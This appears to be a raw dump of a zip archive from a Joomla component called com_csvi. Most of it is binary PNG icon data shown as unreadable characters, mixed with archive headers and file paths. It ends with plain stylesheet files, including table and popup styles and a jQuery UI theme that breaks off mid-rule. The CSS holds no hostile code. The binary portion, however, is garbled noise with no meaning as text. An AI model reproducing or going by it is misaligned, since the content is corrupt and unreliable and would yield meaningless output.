%^߉Gtmԫ25JEdzlQs <@@Ym#%npĀ} oi>ןzhޮS?`SSS^^` I[eeM+`:iw>|F]]2p5xZ:[Ya&ĪAy -Nh8Wr 1睜˃j8 kk}tub1q`@~Z~i g#0 JL2%Mކ< XB4~8;Z33H0[`,m({k5CހxsJzz2MjCnf4AKIѢV @*. $Mx㳷].7 4l8M"-zƞ`܇RVLqSSXdlp٥yu-Bbj/x9;b=H8q3o3C C_E}3d< 4yUP]IENDB`PK@y>\> 1components/com_csvi/assets/images/label_close.pngnuW+APNG  IHDRm&N9tEXtSoftwareAdobe ImageReadyqe<@IDATxkAgwlHSlj)E/kAHփ= 'AX=(CDZ=/UM78o3]i6}o6OaEQ4BH djZQ5XF!ŅK|-hH:ry>H(DUT^PиYXMvEb*Pv F`ж#R8 @eضrQU_D*UcX1ʼ2)qGhЪA~0hX=vj uHt/0ʭVdg]& %30=09u4n?fv\0=:trhj#ǾdjnBcəD#}BTH4*axjdK~vp-n\Eip _-2!ҫ7j* ,<9M+3~k5ft[ZEȯd>5Cwp]\WY1=9B Pf.c$hCw#vyCKEt_bScgW! . ۊ,sw5 ={k\03components/com_csvi/assets/images/csvi_about_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE|l-Yҝ֨8iu硹傣4cDjUvIztVv|Bf|@s憩ũMn4y1ȒEM t,)<:gڴis޵e.M"GM> O[gpݐ@Ɛkڜ Ruf-zh1XZ\7TE=hF'̘vhdGM||&pgNGM\v҇F@F5˹rMQSSyH׬*`g/ ~roʗ/[?& (2hba1i:nTh5v*+~^5.`d O=? _@ eKSy@SPpoϷ1E2'RLmnۦɹ=~;i$`ߗ ϩo>d/#4MQ3 Z3w 207@%@5] Q&kf7>G+La1r7}e3pD<0 #J\IENDB`PK@y>\z+uzz6components/com_csvi/assets/images/csvi_settings_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<:PLTEGnDn2`QIv䌷ӫHk숷w,X揭ƃ㈯ɾԺbcz?mhqz۪eDs픵6^ԸʪBtRNSӆ IDATxb vy,@l 6V^θ,0ϫ1{2;P`V:p& jbrm`+Q_d,W`(0֭2j2'0ix.?gLS%U&)p$Xkɠý*d\yT޵ [JZSbݧGzr0x'%lQtdWdZ-YTfƫ]/t +NV\`Ůg`+ ޽{vsǥ6_憒HIENDB`PK@y>\_ 2components/com_csvi/assets/images/csvi_help_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE{ɠ~-YG{z=l琫ô㊥YAsGk䖰Ǫ[z2\up3cNlQ{bR:aiTvvNp@fTtץ狰䃛etRNSS%(IDATx| XUD9 80B'!!RW!dqO)Iɀ$ өv4,,GZ}?7A}gp.;绝goK\MK}(N̞ӍU-߅M.O4yXPK Tiy`2i⻵Zq*&/*>?wLb V$Bvڎ,Qg h:Zk[[k|w) VRk.6]ax{_kj*(XL8[ښ'rӟmm-wJұc̟F[qKˉfr))6tlєpΗC%S A15:1IWiJJ!JP \t2[Xhjj:Raao/MjLnpoʅ \+` &!.Uc\P,-)'_n՚8HPlc㑐gPje#pv^Bg3XPB/qll݂]P˝GB@@(ÉK ض=B<$)b%7~$(sylsְK`OAu zKKKy×~X[T14d<<:(@eY^1X>(VÛX.i^d;jMchٳCCo x9j;Eaq0LU$'x˗_Ҁ J=HD]v'yyy}뛓ۻwotً/# |}wWJey>I| ^C:?/gUD ,N{Kǿ x]zߺw~~°03b0p"K#,,l$>_Wm7 UpkXZښ5Eb1TQX#%Ϟ5i ]anj \ѱ;HxT_HR4l6?ȃ+7]8]bqD+Wa0zl{ (ÀHȇr4u 77cF[FXFhh]?BDUU!+Og rhFn7~TΕ6Bbl,mCcccVwG:iong-pw@}Z333{ڬaBBx8Vl@`;1)<<`hhZ''W! $dn?d2 ?FBv'v2Z4DZW&$PY+ROW_5-kG`h[u_ AdB֑e` m2l?@N,dHAwJ婾>ٻ uɵZs"%>IOj9 ?eL'bDKdFJ'biT Xb=cC)(anђ y}x\SՓ[hJKKTB\yR`֦XBV)7?Vzl_IA ZހLRm抺4@VՄ<.&9 ^%9'GlP͟5j@ms'A9 0I~0IENDB`PK@y>\?eQ  1components/com_csvi/assets/images/csvi_log_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEͰ/YCs{yh댽8bԱ󎥽z큛RvSLtjK}n猬m[zݯߩ_ϒWyj=o랴ɜؠO捳Z储īᚳɏإ>fbhGjNpٟ(GtRNSfYIDATx| \e_ƄqX0&n(l03r!!FCeh #MvZA& N}[SJk+;ls<FcH̍.ҍ /6 M1ػ_'_$D-EX16Cn8A}Α#G̒m2Fe n򅨤ʆDRũQbMg>)\b򒟚8BmZY:Iv$!GaH9vA+ۊ{LԂ`7 1h}ϤV~'q\d 2EB#ٕ# A M GQTutPwJ@VR)o-y:76<ʗc>]B}Z Q|±coYU&;F G@jF޳al ˆ@VJ_FXWa [nT&EZ-/\4񚱵0yj~Bkar֝>=vB -2Y'%4\>3)SdD)k`C%;; g AH`~7pޗ` c0rRnWC=vJʕ Rɝ :.nN|Nq\3"75components/com_csvi/assets/images/csvi_replace_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEBuNz3b,X˺iU~?s[z訽Ч0Z,Vjf5fՎԋ˭}$O}Y,\:m`e9kT>dy~ǽWr僞퇝0]ڮ&TH{>q5\`~8h脙yq|2wdxyyAn_}s~ӮVK ~w_hU)&@ͷ 4`)u:푽l˟\@ƽ~ ~ 2components/com_csvi/assets/images/csvi_edit_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE4cPw2[ㇴTuHl-YGj䉣ݝ蓭@qLt=o:k柴:aCt䜱Ƣ/\[z8e7g@fibTtNp+WTxuݟbFy:h=h>ltRNSS%IDATx| XGI "gID%PJK"xpJr_T EūJ)-4DS%"*Zz҃]o@}'fgfwgO7),7"yA32|D/0|pXDKqI HD('~I؊^%Mz!p~yi{{?%t=F,BM!b"%;O\*x3@KSSo =GHQ4W{srS &Yur EۍNckƣCg?  X:k7G#g@/KЏ)]]tuut`~BCqrJȶ#57TV44t`zhppmMsrpTPGvw777ݐ&8.7Jdx6cq_{|#ttt a{pgk||֑ýB1[=aweZZx FF}--@h?0aeOOo0 ==c + 8`96fk9 ڃ=ƾ„j]2$xMSc|kcՒ 1`!+b0`6a:PzӅALx8$z m$Z+3J"IENDB`PK@y>\ d d 5components/com_csvi/assets/images/csvi_publish_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTEn3\-YyΩzŢ낪Ɔu:kGkAsSû2a샭4dAf/\Np:aTv풲7g+W[z=ncZ爵ҏʜޭ>pFw7aLx^>tRNSS%IDATx| \SUǯN`M`8"0a2G8 D IE`D45mpx)l')A4Qu9=s=b3iT^1Nͺ(JʜՌ(Rʳ)RIO(ibY y*0*jhYz x`'/~;i5&b AAmom-g h8j@^E[[/W*xDqΉVsNI0\/ nw78zZ[ptB7̏R45+ unTqaӴ|N}}JSSNPB3S;xDORq\+9ij@^>W"! HϠ{.7oL8xtzFL-Ⱦg}&Ǐ/lT"9gsG6LlbK#ZeLt}G<ťcc ٽg:~I\LEgpIsgpp)Xv: W0wû׼b|Wך-[4 _U|\-U|~HBMnN.+x9ļ7u|_"K )q~Ɋ9նm@*+NH x{*/h47 TV掟 @۾hl֕D``EBOxCXqɼ }C^^鎪BKaH+%}CG5#~]tGDxټo;} n4D٘}H|ZZNW⋏bC7//5kpETV!j@!--('<|9CiC sE1«LM62:xpÃd> )#vL=#`hhz|bipN/&+c ,̲Xqqb)G^сvNcMrhh:#==aJQkq\F:2mʕ\a+pj6A,/K-[3lϢGAݲa$4r-U*&He2???l$jdI$4PMc"kZ}RWuR* VD"H$jSZNßJml.H(m+G Hd*ϧstTenKO3RiIIu e54U)5@,V * @We hң݀._2Рu ( G[ \ W.components/com_csvi/assets/images/panel_bg.pngnuW+APNG  IHDRn tEXtSoftwareAdobe ImageReadyqe< IDATx1GkX©R9"+ $ Tv5 hJ,"E.@Tb%I b 8qwds۝ݝn{vg>z^<^>qR-LE F F FM}yvv7 t;j$C Թi] _;\w$UJ֥/Jvcաn8wY}H @{}ؾb#(;JRec,@>#c^t\\lj/}%JKzw]辩jc(@QZRUk> K:l_ܠ!O4h m1[(@ّ;Fe!kKw 9 Řk.;'Bߓl1:@ v5P:dQށ%ƢCp޺NJORF&s^lhisQ LA y#UXjg QX+cWt_mslD46X}ROt S[WP@Nc)_>sϺj9=wB޷9KNw=:~)fc Q`MGCU5"DA[b|QЂ4JjϽ!"8(-u}s~@$!ZO ikRӶ婷 M:L#DK_@lS$[]9F~_#S4F%.C 97ʬ|`R'꘾]GLh =5DKZtu5MlSJi"Ds@ Q:F>:c>v[+c@nT;m Qpc_QM|U.3 dgw͢s}JYȌfҷ-kE3(eݡQh)1C6mrP~1A Qפ׶M^\lĥm?6(sFQ: fҏ}ЮR^P3cn3>6kFFL`)g`2bԩoj"L`U䥾nb[e藩8gynd`?*m'zfӇ̠vmS_0u4 hYQ/ ЂuTE+wfSosR!XRҌ.A 9DK) Lۖ5)eyv=6iizR&.LbjnGbkyׯcR꫎]=/q~'A 5̶ύ.P_h߻p),C> mЮKQ 8:NR7rYV9_sͱn3zkξ釾%Y\"]fo.oQ6JU<2?C>H)Pz6Msrwa>'RQ 5Bh̺cO3%aqcϘꔍ{hJ\-GES_RՐ;+FS6X\B4\:fGX^-}mf7=:C>rF`#@)9gҗpN }(=@sh̺sͤQ]$HңoIU[ֱ)#F>GhJ鬾Gc۫]įgɓb_0VxJ)&/Fi5Ďܓbn Q`퐶:2>;qFw}^b/PZ>{}lƨb?8ª%7*49h狶-z!ʸo\9@c[(5Ds_A/\u/C}q&?Ϻs_Ϩ17BtsFG#@ q[Ab4E9 qyb Gl|~́П\)u&ȗe;c1\Gk|5ƊAgӗv{q 1>CZgd6},CK]˶픶CC>!;Tfh! %u{`4u4b{mb4ct-[? _rtR~.2~Ϳ7wZC)F]C]A9L1AsWvCj;ŞO9g4e:L;ΰ}hkg}a͝z~kƌq1/5FQz_LSWvQS`뚣}FGma@9FEs ϐ׍=:Cѳ;q 1 jfwmOnDaѮC؇1~J9C46Hc"tסtؗzLӟѳljR}鍊Cܟ>w.ٛm1zO1le+ByiW|Owb9eg N߿gr>껖;`H}-rݚ?<{_܉wkY]܍ (=:Cڥe!?˓Fs~)F!xƟCO-z{ߟ?١~ л~޵,乐J s̪ѣGt>ÿ/~\;`gsF?2x᧷n+wp: `q붠CYv/<2ϗkÇcn;gk!\Ȳ-{ڵk=z27w^i=:࣏>7~ꫯj5ڙ2~k@FJyM,!-{͛^|ş/zox<<1:HZ/p_VjJΝ;7{l裣sU>x< /\+d< NˉϦՈ/d!e~|ѥj[ǭ[?}J\@SYNVzw~84 vZ=#_[<|\|o浗_~!()08uD{믿[JY=>omX:HF.'7-?u]r/^܅ .gݻw{;wyW^ѓa#BOB4$FׯYU6|c5`>>⒠'lI5>=ڸK5*@(~ 7=mo6?'mh3B).<v/^i#8'j f=@.8ֈ+IENDB`PK@y>\z 5YY6components/com_csvi/assets/images/csvi_template_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<"PLTE㑴ςˆ˱膮ʞ∯ɜ㜹ϣҼ눮ߝٵ卸ݺފͯ偭ˣբ栽嗷聰΁ϣґ˵֫㊹կۦ呺斺ӭڤꞿ֜ջطؾͣшɝΒc#tRNSp IDATxb r=,&> 6ig5K ,߼/ (.mZF جSAA80k< z ,F6JX&I,(l S ߒО8aJG܆('e:k dL[W$Wu2,YdhJ-QTaezʊU1š٢ [J'JmlX^'tt&fjfW&۩` LcZ.⹭[#reS+Y@IENDB`PK@y>\IP 7components/com_csvi/assets/images/csvi_unpublish_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE:kmע-YU_~[zĬ冣䆩Ů虶͸ڷ@s2ab鑰ɧ:a4dNp4\M}@ft7g=owTv뀧ļ/\TtHkȀaGj1[No0]怨늦2\現`blߚkztRNSS% IDATx| \SU i6ޯ@eaK"%b )@1yoD4m,pH` $DTIXάK3CPs}9'61pţrj$72iflF}8W/{TX[ZGdPNL܇] u–=H٘KE2-C܃n .EqcF3 +F~N0xr/F=i^5'G &gp\NQR5?>W 0~*aLLe_N11:-gI8^oMM0b˔Ala~(uJssYYss+m (&έ1HPsr::@::r4 q#xsr9 %Ca)Q5228ffr|4 py>,3C?MUZ44283 X,?=%(+89 j^lY# 0YR\]]B4#s$ҽC9]+KҨRRCC7fB\Ty@=㥘=ZRf& ?׮[ng :WM:*B^bחRKӅU0p_`ҕ. G E_qvLHАJ{W G}uU'qxLQ$pIENDB`PK@y>\ǡ 3components/com_csvi/assets/images/csvi_order_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE}ɛ7A888ܼYyh+LAt.Id2Ye0^#ԮUrr3 0%7+ =Mb0Q<2 td'q5¯.p'** <֭ 5\IZvv6<) [%fXaZǡ}[/4$1[,$06g.2'X!Aw/5.?wtއ+T*E.ՉqY{{ܸqIjjuKoHWEׇ(Eq.`xXuj-`]\{{Ez|r)/NQ~~}ՁoHTRX F$6 u EJzziHH:Ʀ4005ҐśrbhL>+H8+ao;.aε\F#v-؀A۶wsmk[biv?,3 $Νv~BQwsI^n̙[0!~/Fje{c]ǎMS4>B2󵢢"U]]t2':pX7»V^Up0?SU5Ӣ)4 eE htCCWشidl; 5 }uɚмxpd,",BMM4"zp!01ё8fTxp8tPZ[P +cn 7=OgeJ$Xë 幻x_лY3uH.cóhS޲&ͭkGm`$??˯P踣O`f6/5-XÝY!+~N)J8*ȕJV&z P٨er?zQIENDB`PK@y>\z=Qekk3components/com_csvi/assets/images/csvi_about_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<.PLTE2`Yz[z:k|4\I{Bol=ei}q,X:kԬv1`Kxv㩾Ѹ萼֡v,Xwgܧ}Bu׸3CytRNSi$u IDATxb  \XxAl 6Pf7d p0(cEE8GM J ;)2K#89rͳ&3L* ^lb为VaK*ڜEq3HШ%R_ӛV.àٺC[_T4,~{6CRfߺebb JkvrEo.e&)%9;NtYaAfFƩ3y+TgnxnNy:K7v\umIENDB`PK@y>\6components/com_csvi/assets/images/csvi_settings_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTE㖵̩4c卸ӹ\:i񆣽Uwؠ^,YGxAr~Bk9_qyKnݥBf0[0_lzdzPaqKpj靵ɳ]~v~~Hu7e<eMO=Yԭܙvf4@#yY1_.~cQQg_U?#1Ʀrb |X~Μ93-e/zzy|:>/ұ;~2-]/7Y+z?0/]tl@>KN-]lVa*JJKX>}&iOݕTܿo]auI[ ߫ZzL ;aI'k߶mÇ及9HPVf]|kb@WOW"\\\YObu-*R T+"EUEٕ0 [[on7\A mabQOBA`O>h+J|mNr ? 1&Ч ̳ It"sb!h0ؤiv?հdXd84S!abѤ#e :@kd=uEm;@>#/̫l\Ek1r7О67,260 fOIENDB`PK@y>\ 4components/com_csvi/assets/images/csvi_fields_48.pngnuW+APNG  IHDR00` tEXtSoftwareAdobe ImageReadyqe<PLTE.Y7g:a/\b@rNpNo?rb&ltRNSS%IDATx| \SU/07#j%I`; D4"j(`s!sx†`24{`IIF֥x =:"3KqB1y"I ^֌,)Ţ ^$< o \x@ww7${4"^ѱzviyK 56+)1&D  ]9BC|LO~9xzz WiWBVLs3 @Ra 2KKKZ#:@Y49Nd3J@&;`v+=% >rLNcnn'q2'T* >[M$1 H\T9kkKR5gԜ^ABTohMO/Y TnH4R39%b0W%?ic˗]s&TpXIS{!0K($\_¤ tХs|h 0fҲEoa S͇g̹ӘƲ#*F\IENDB`PK@y>\5q5components/com_csvi/assets/images/csvi_replace_16.pngnuW+APNG  IHDR(-StEXtSoftwareAdobe ImageReadyqe<vPLTE M{ɧ1bҖNJa-^(Ulr|ꃭʏ݀t߬y{edH{lCvf솵頾*X?g6]Л圻(Weڰ5^8iٍɽb1_ûmٸFy7h熠퀬ɻ[y[z;mdოBi{dݱ)Uc2`h*tRNSIDATxIHMЁ ]_Qhq |d\[6F1  % Cp:2Etw@LlOvkư3o xVY,{-&je."(;+A*}>b ~c80^4J<r$)!`aTf PSRZ˽BNX/ugG?#'= 9Ыz 5mKyWiЮD7sʙUn .e|rlrIENDB`PK@y>\s6components/com_csvi/assets/images/csvi_template_32.pngnuW+APNG  IHDR DtEXtSoftwareAdobe ImageReadyqe<PLTEy{|ㄢbc남o|ȧ߭ndbngeųq쒿ꖰǞ}}foqdfPtRNSS%KIDATxbW+՟B2;WtN]@nEZMMMs&fӅ i/{S7{΄P.ԞQ@J3qƿ06ip?GPV6mb e@3S.\prbh2T@3mrIZgggvpvmM TyB]L-X LV-ݼyB߳[ 6G vqu^ #uˎ}eeeyx⿖-39m\ZZu މ',|N|]x iiiu9tx,ZP~x >weZ5CBZvuVߌW=7,Ͷ!4;{p;k[k3wwA2v2GT{ ; |Kqnf3) +)R3p2Ul7 } lRiì r[e?Ⱦ򌸬RVh竈HJ] ]G[D  V"f0j]42ղ'BXH鑥eTlGˌLIcQ:NIENDB`PK@y>\"~gφLY?OvLh~wc/|}rp; &['u? {]ԃ<ʭqߔEɁ\|/\%"v{"f)8ԆzS[G3`uǢpLo[Wx fo8A-Tcxٺoxּ'@Zr6?/ߖޛIVQ?~gDpºmߗ@ň2.Qa,\Z@[bMUaa^Yfl @Zp篽jX'q5ltz<tJ-9kMD#Y"JHIn0ǍW_dveUBFdp9KpfA¬̞ws@t??D p=ǭh!xUqZ=@, ?̀vP \ zۘuh>i Q>* (J^cȀ:I0,F.A2I++H,]QtC,[u ܧ AgQ /nfvJٮ44€\GʃN.nO2$00!C N/zqvk(>:}q@4 {MQ%?,>VE+3n$Jō -Q8|R\=r[ 5components/com_csvi/assets/images/csvi_install_48.pngnuW+APNG  IHDR00WtEXtSoftwareAdobe ImageReadyqe< `IDATxڼZk]Wsiіz@O~ :] L`$cq̈Z}Gj Oœp;eyawPps* v#C$יu8]R1<ă _sH99A{!gy픊fQ\̵Ze6o]?7x<~Ggx᭠O)h58 | CR2d/.qz(+ĚRvgW۝v-NTw{m6^jFƅYy#n؞ xPjE aa3-$NuEK-k/);c|!Mx?LbTk9UwΕ.| dʆ"3x6V Z!dA(C}{hr99}$BY?Sƍ;|6e:keO#֯JB~}?ТΩٱN.y;+P7xJM?YÅYŷUH+?C 3)¨b%܅IS @pcX[GMJfUq b Lj>₂߃t(fbYf I`'eE, -RYYh9-o=!cV@NXTf"kyD>IYCKtݦ $X&.r(wPcu}k&{qﮙN,/We_ߕ-\؄!UЎ_ E&sZ);Lz)ED9l8?0WL#*3L7&TІʨ7Ce~R-Cozo%2DɈaaA (w J8 kXByj1hI`۔7fxgRA lTTvy5)=+8w9m󕅹EBYoNC)V;So7O\j5M"a`X1B%3sKTAP YXA)چh T¹le ?J|d>Gׄgy:UHڣzFFW,&5:XK^nFRXB dJ9~NtLt|@*o;Fr}d2ZI_iw:YO׸H}!ggjPPd K-XßˊW.6Rl]5"9ޑ.ssڇ薥ɮt1eʆ>_ow.6-$3=z;D9~aC]lU`#y(c,2>̲TVD:@dwPcgjgs1s/>50#'0[*'+NnrJ8~b$I|R'_R30ѧ14iIpGlOG$= H} cy?aJET̥i\׏0&bTBo"kA aQٲAJn\G|{5RiL4ToĚ>'LGPB[BuڐYP0"Hv1đ{$37PX~4(Th~IOfL߇\d5=٦iAp–} C6osJd?!7]G6`DI.VIENDB`PK@y>\#o,,%components/com_csvi/assets/index.htmlnuW+APK@y>\c*  )components/com_csvi/assets/css/tables.cssnuW+A.template_block { display: block; } .template_none { display: none; } table.adminlist tbody tr.addfield td { background-color: #CCFFCC; } .optionrow_block, .exportoption_block { } .optionrow_none, .exportoption_none { display: none; } table.adminlist thead th.showallbutton { background-color: #CECECE; border-style: outset; } .center { text-align: center; } table#selectuserid tbody tr, table#selectproductsku tbody tr, table#selectitemproductsku tbody tr { cursor: pointer; } PK@y>\obb0components/com_csvi/assets/css/jquery.alerts.cssnuW+A#popup_container { font-family: Arial, sans-serif; font-size: 12px; min-width: 300px; /* Dialog will be no smaller than this */ max-width: 600px; /* Dialog will wrap after this width */ background: #FFF; border: solid 5px #999; color: #000; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } #popup_title { font-size: 14px; font-weight: bold; text-align: center; line-height: 1.75em; color: #25415e; background: #CCC url(images/title.gif) top repeat-x; border: solid 1px #FFF; border-bottom: solid 1px #345578; cursor: default; padding: 0em; margin: 0em; } #popup_content { background: 16px 16px no-repeat url(images/info.gif); padding: 1em 1.75em; margin: 0em; } #popup_content.alert { background-image: url(images/important.gif); } #popup_content.confirm { background-image: url(images/info.gif); } #popup_content.prompt { background-image: url(images/help.gif); } #popup_message { padding-left: 48px; } #popup_panel { text-align: center; margin: 1em 0em 0em 1em; } #popup_prompt { margin: .5em 0em; }PK@y>\MP.*components/com_csvi/assets/css/display.cssnuW+A/* Control panel */ #cpanel { display: block; float: left; } .cpanel_button { display: block; float:left; } .template_header { background-color: #CFCFCF; margin-bottom: 0em; } .longtext { width: 45em; } .delimiter { width: 1.2em; } .thumbs { width: 3em; } br { clear: left; } .clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } #subtitle { /*color: #146295;*/ font-size: 1.128em; font-weight: bold; display: inline-block; width: 100%; padding-top: 0px; padding-bottom: 0px; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #dfdfdf; vertical-align: top; } /* Hides from IE-mac \ */ * html .clearfix {height: 1%;} /* End hide from IE-mac */ .debug { display: none; border-bottom: 1px dashed #000000; padding: 0.2em; margin-bottom: 0.3em; } .sqlerror, .error { font-size: 14px; color: #FF0000; } IMG { border: none; } .smallprint { font-size: 10px; } .bold { font-weight: bold; } #filterbox { text-align: left; margin: 0.2em; } #templatesettings { display: block; float: left; width: 50%; } #systemlimits { display: block; float: right; width: 50%; } #templateconfig { display: block; } .templateconfig-active { background-color: #CECECE; border: 0.2em ridge #000000; } #templateconfig #templateconfig-header { display: block; margin-top: 1.5em; font-size: 120%; } #templateconfig #templateconfig-content { display: block; text-align: left; margin-top: 3.5em; margin-left: 2em; } #templateconfig #templateconfig-content .submit, #templateconfig-steps .submit { border: 0.2em ridge #000000; background: transparent; } #configurator #import_tab, #configurator #export_tab, #configurator #images_tab, #configurator #email_tab { display: none; } .msgtitle { margin-right:0.4em; padding-right: 0.4em; border-right: 0.2em solid #CECECE; } .msgtitle a { cursor: pointer; } .showexportoption { cursor: pointer; } .userfilename { text-align: center; font-size: 1.5em; padding: 0.5em; border: 1px solid #EFEFE0; } .column_header_input { width: 15em; } #importcontinue { color: #FF0000; float: right; display: block; font-size: 16px; padding: 0.2em; } .replaceinput { width: 200px; } .crontitle { margin: 5px; font-size: 14px; } .cronline { margin: 10px; padding: 10px; background: #F1EFFF; border: 1px solid #000000; } #cronnote { margin: 5px; font-size: 1.5em; } .resultscounter { display: block; float: right; } #error_file { margin: 5px; } .writable { color: #008000; } .not_writable { color: #FF0000; } /* Export page */ #set_export { font-size: 16px; } #selected_export { font-weight: bold; text-decoration: underline; } .selectcol { width: 5px; } #quickadd-buttons { display: block; position: relative; float: left; margin-left: 10px; } #importtypes, #exporttypes { display: block; position: left; float: left; } table.adminlist tbody tr.tDnD_whileDrag td { background: #ffffff url(images/subtab_bg.png) 50% top repeat-x; } .isprimary { color: #FF0000; } .dialog-text { margin-left: 42px; } .dialog-info { background-image: url("images/info.gif"); background-repeat: no-repeat; display: block; float: left; height: 32px; width: 32px; } .dialog-important { background-image: url(images/important.gif); } .dialog-help { background-image: url(images/help.gif); } .dialog-hide { display: none; } fieldset fieldset, fieldset { position: relative; overflow: visible; }PK@y>\ ҁ1components/com_csvi/assets/css/jquery-csvi-ie.cssnuW+A.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-size: 1em; } .ui-widget select { height: 2em;}PK@y>\_]],components/com_csvi/assets/css/jquery-ui.cssnuW+A/* * jQuery UI CSS Framework 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } .ui-helper-clearfix { display: inline-block; } /* required comment for clearfix to work in Opera \*/ * html .ui-helper-clearfix { height:1%; } .ui-helper-clearfix { display:block; } /* end clearfix */ .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /* * jQuery UI CSS Framework 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Trebuchet%20MS,%20Tahoma,%20Verdana,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=f6a828&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=35&borderColorHeader=e78f08&fcHeader=ffffff&iconColorHeader=ffffff&bgColorContent=eeeeee&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=100&borderColorContent=dddddd&fcContent=333333&iconColorContent=222222&bgColorDefault=f6f6f6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=100&borderColorDefault=cccccc&fcDefault=1c94c4&iconColorDefault=ef8c08&bgColorHover=fdf5ce&bgTextureHover=02_glass.png&bgImgOpacityHover=100&borderColorHover=fbcb09&fcHover=c77405&iconColorHover=ef8c08&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=fbd850&fcActive=eb8f00&iconColorActive=ef8c08&bgColorHighlight=ffe45c&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=75&borderColorHighlight=fed22f&fcHighlight=363636&iconColorHighlight=228ef1&bgColorError=b81900&bgTextureError=08_diagonals_thick.png&bgImgOpacityError=18&borderColorError=cd0a0a&fcError=ffffff&iconColorError=ffd27a&bgColorOverlay=666666&bgTextureOverlay=08_diagonals_thick.png&bgImgOpacityOverlay=20&opacityOverlay=50&bgColorShadow=000000&bgTextureShadow=01_flat.png&bgImgOpacityShadow=10&opacityShadow=20&thicknessShadow=5px&offsetTopShadow=-5px&offsetLeftShadow=-5px&cornerRadiusShadow=5px */ /* Component containers ----------------------------------*/ .ui-widget { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Trebuchet MS, Tahoma, Verdana, Arial, sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #dddddd; background: #eeeeee url(images/ui-bg_highlight-soft_100_eeeeee_1x100.png) 50% top repeat-x; color: #333333; } .ui-widget-content a { color: #333333; } .ui-widget-header { border: 1px solid #e78f08; background: #f6a828 url(images/ui-bg_gloss-wave_35_f6a828_500x100.png) 50% 50% repeat-x; color: #ffffff; font-weight: bold; } .ui-widget-header a { color: #ffffff; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #cccccc; background: #f6f6f6 url(images/ui-bg_glass_100_f6f6f6_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #1c94c4; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #1c94c4; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #fbcb09; background: #fdf5ce url(images/ui-bg_glass_100_fdf5ce_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #c77405; } .ui-state-hover a, .ui-state-hover a:hover { color: #c77405; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #fbd850; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #eb8f00; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #eb8f00; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #fed22f; background: #ffe45c url(images/ui-bg_highlight-soft_75_ffe45c_1x100.png) 50% top repeat-x; color: #363636; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #b81900 url(images/ui-bg_diagonals-thick_18_b81900_40x40.png) 50% 50% repeat; color: #ffffff; } .ui-state-error a, 